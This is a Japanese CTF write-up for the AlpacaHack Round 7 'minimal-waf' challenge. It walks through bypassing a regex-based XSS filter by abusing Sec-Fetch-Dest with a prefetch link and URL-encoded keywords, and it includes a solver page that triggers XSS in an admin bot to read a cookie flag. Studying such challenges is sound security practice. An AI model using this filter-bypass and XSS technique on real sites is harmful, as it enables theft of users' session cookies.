minimal-waf (AlpacaHack Round 7) WriteUp

# はじめに
この記事は [1日1CTF Advent Calendar 2024](https://qiita.com/advent-calendar/2024/1-day-1-ctf) の 9 日目の記事です。
# 問題
minimal-waf (問題出典: AlpacaHack Round 7)
> Here is a minimal WAF! Note: Don't forget that the target host is **localhost** from the admin bot.

[作問者 WriteUp](https://blog.arkark.dev/2024/12/01/alpacahack-round-7/#minimal-waf) も見ると理解が深まるかも。


## 問題概要
```index.js
import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
  <h1>HTML Viewer</h1>
  <form action="/view">
    <p><textarea name="html"></textarea></p>
    <div style="text-align: center">
      <input type="submit" value="Render">
    </div>
  </form>
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);
```

`script`, `src`, `on`, `html`, `data`, `&` を大文字小文字の区別なしで全て**含まない**ような HTML をレンダリングしてくれるサービス。
ただし、`Sec-Fetch-Site` ヘッダが `same-origin` に設定されているかつ `Sec-Fetch-Dest` ヘッダが `document` でない場合はこの制限を無視できる。
flag は admin bot の cookie にあるので、XSS が必要そう。

## 考察
`Sec-Fetch-Site`, `Sec-Fetch-Dest` について調べてみる。( [参考1](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site) , [参考2](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Dest) )
`Sec-Fetch-Site` はリクエストがとこから生まれたのか、`Sec-Fetch-Dest` はそのリクエストのデータが何に使われるのかを示していて、ブラウザが勝手に入れてくれるらしい。

制限された文字を眺めていると、`<link>` は `href` でパスを指定できるので、制限を回避できることを思いついた。
```html
<link href="style.css" rel="stylesheet">
```

とはいえ css を入れられても嬉しくないので他に何ができるか調べてみる。

[このページ](https://developer.mozilla.org/ja/docs/Web/HTML/Attributes/rel/prefetch) によると、`prefetch` が使えるらしい。
```html
<link href="/view?html=<script>eval(atob('<PAYLOAD>'))</script>" rel="prefetch" />
```
を読み込ませると、`Sec-Fetch-Dest` が `empty` となり制限を無視して XSS できる HTML が返ってくる。そのまま別タブなどで `/view?html=<script>+eval(atob('<PAYLOAD>'))</script>` を読み込むと、`prefetch` したデータがそのまま読み込まれるので、XSS を発動できる。

実際は、一旦 `http://localhost:3000/view?html=<payload>` 上で `<link>` を表示するために一回は制限を普通に回避しなければならないので、 `<link>` 内部の URL のエスケープが必要。下のような感じ。

```html
<link href="/view?%68tml=<%73cript>eval(atob('<PAYLOAD>'))</%73cript>" rel="prefetch" />
```

## solver
以下の html ファイルをどこかにホストして、admin に踏ませればいい。
`<PAYLOAD>` には base64 した javascript を書いておく。
```html
<script>
    const sleep = (milliseconds) => {
        return new Promise(resolve => setTimeout(resolve, milliseconds))
    }
    async function solve() {
        let w = window.open("http://localhost:3000/view?html=%3Clink+href%3D%22%2Fview%3F%2568tml%3D%3C%2573cript%3Eeval%28atob%28%27<PAYLOAD>%27%29%29%3C%2F%2573cript%3E%22+rel%3D%22prefetch%22+%2F%3E", "_blank");
        await sleep(1000);
        let w2 = window.open("http://localhost:3000/view?%68tml=%3C%73cript%3Eeval(atob(%27<PAYLOAD>%27))%3C/%73cript%3E", "_blank");
    }
    solve();
</script>
```

flag: `Alpaca{WafWafPanic}`